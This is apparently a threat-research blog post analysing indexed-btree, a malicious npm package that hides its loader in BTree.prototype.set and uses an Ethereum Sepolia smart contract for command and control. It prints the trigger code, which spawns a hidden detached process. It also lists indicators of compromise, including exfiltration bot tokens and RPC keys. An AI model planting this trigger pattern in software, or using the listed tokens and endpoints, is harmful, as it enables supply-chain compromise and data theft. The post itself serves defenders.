An ongoing campaign on npm affects various packages using a smart contract. As of this writing, the attackers appear to have earned 109 ETH, which sums around 230,933.57€. The tactic obscures malicious code inside the target package’s JavaScript prototype code instead of an install script, demonstrating our previous prediction that npm’s blocking of lifecycle scripts would cause a shift in attacker tactics.
Since this campaign is ongoing, this post will remain updated as new details emerge.
Summary
Indexed-btree is a malicious npm package
mimicking the legit sorted-btree package, an ordinary
B-tree/indexing utility. Unlike the common attacks we’ve seen in the
supply chain space, this package does not
rely on preinstall / postinstall at all. Instead, it
runs entirely from application code at runtime. Additionally, this
package achieved almost 2 million weekly downloads, which shows not much
has changed in the npm ecosystem despite the limitations put on
lifecycle scripts.
What’s new
npm v12 provided a big shift by blocking lifecycle scripts but this is not stopping attackers. This may be fooling defenders into thinking packages are legit just because no install script is present. But as we discussed in our previous blog “npm v12 Lifecycle Script Limits”, that just defers the exploit code from the installation stage to the importation stage of a malicious package.
The trigger: a simple load inside the main method
There is no install hook inside package.json, so merely
installing the
package doesn’t do anything malicious.
The malware loader hides inside the library’s own BTree.prototype.set method, which
is the main function that every user would call constantly. This
triggers the sharedLoad.min.js which contains
the obfuscated first stage of the malware.
BTree.prototype.set = function (key, value, overwrite) {
try {
const path = require("path");
const fs = require("fs");
const {spawn} = require("child_process");
const loadPath = path.join(__dirname, "extended", "sharedLoad.min.js");
if (fs.existsSync(loadPath) && key == 100) {
let child = spawn("node", [loadPath, String(key)], {
detached: true,
stdio: "ignore",
windowsHide: true,
});
child.unref();
}
} catch(error) {}
// ...
};
This is a well-built way to sneak past standard taint-analysis tools and most static scanners. The “install” hook is completely clean, but then the infection is inside a prototype function—since this is an override of a setter prototype, it is, in all likelihood, always going to fire upon package usage.
Malware behavior overview
The package ships a heavily obfuscated file (with common techniques such as string-array encoding and self-checksumming array rotation) that:
- Fingerprints and exfiltrates host information. OS architecture, hostname, and CPU / memory / uptime are beaconed to a hardcoded Slack channel and Telegram chat.
- Uses a smart contract as its Command and Control (C2) channel. A blockchain contract deployed on Sepolia testnet exposes getter and setter functions that the malware polls instead of requesting a plain domain. This technique is more resilient to domain / IP takedown than traditional C2 approaches, since it uses the smart contract as a pointer to a new address whenever the old one gets taken down.
- Unlocks the second-stage payload with an on-chain key exchange. The loader generates its own X25519 keypair and retrieves the attacker’s X25519 public key from the contract. It computes an Elliptic-curve Diffie-Hellman (ECDH) shared secret between the two keys to derive a new AES symmetric key. Then it uses that AES key to decrypt two ciphertext blobs stored in the contract that, once merged, form the malware’s second-stage payload.
- Cleans its traces. Contains functionality to delete the malware files and remove the trigger code from the main prototype function.
And how can it be that popular?
This campaign is quite sophisticated in how it tries to make the package look legit. It does not only lack the obvious install scripts, but it also contains a legit-looking GitHub repo, with legit-looking commits and an account.
At the time of writing, the repository is still up: https://github.com/INDEXED-BTREE/indexed-btree/commits/main/
A GitHub repository is something that attackers don’t usually bother creating. This one is clever enough to not include the malicious code. Additionally, the presence of many commits can aid in making it look like a legit repository.
The account itself doesn’t contain much activity or a detailed bio, but the presence of an AI-generated photo is still a good way to make it look legit at first glance.



Indicators of Compromise (IOCs)
List of packages
Indexed-btree is the malicious sample, and these are packages that were subsequently removed:
- ordered-kv-index (448,184 downloads)
- btree-leaderboard (493,685 downloads)
- priority-slot-queue (402,860 downloads)
- btree-range-store (468,092 downloads)
- btree-core (1,951,274 downloads)
- btree-time-index (425,312 downloads)
- btree-lru-cache (372,185 downloads)
- neighbor-key-map (366,019 downloads)
- sliding-score-window (448,024 downloads)
It’s worth noting that the attackers’ smart contract was also found in the past in other packages:
- mutex-forge
Ethereum Sepolia smart contract
- Contract address: 0xE390863Dac96a7118C71227C2b099B50cF602D31
RPC endpoints
- https://eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI
- https://sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938
Telegram exfil channel
- Bot token: 8961878831:AAG4WTbRUcbXI5UCaN4VXK8k57ghqqkg_qI
- Chat ID: -1003952553968
Slack exfil channel
- Bot token: xoxb-11307403103236-11289767127959-U58yt3zLurAvVoZOf0OBtxCW
- Channel ID: C0B8XPGCKQS
Cryptographic keys
- Hardcoded X25519 public key (SPKI/DER, hex): bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702
Why this campaign matters
This ongoing campaign is a dynamic threat to organizations, with a resilient C2 and malicious code hidden inside package code.
From a more academic perspective: we’ve already covered how this
shift of malicious code from install scripts to runtime execution was
inevitable, and how that simple change of attacker tactic made the
removal of install scripts an ultimately weak mitigation. This package,
with its transition of malicious content from lifecycle scripts to main
package code, is a good example of how that can play out. Despite the
npm change, attackers produced sophisticated malware that hit 2 million
weekly downloads and didn’t need postinstall to run.
Blocking lifecycle scripts is still worth doing, but runtime behavior analysis, not just install-time, is what actually catches packages like this.
See our recent discussion on npm v12 lifecycle-script blocking.
Malicious Packages
Malware
NPM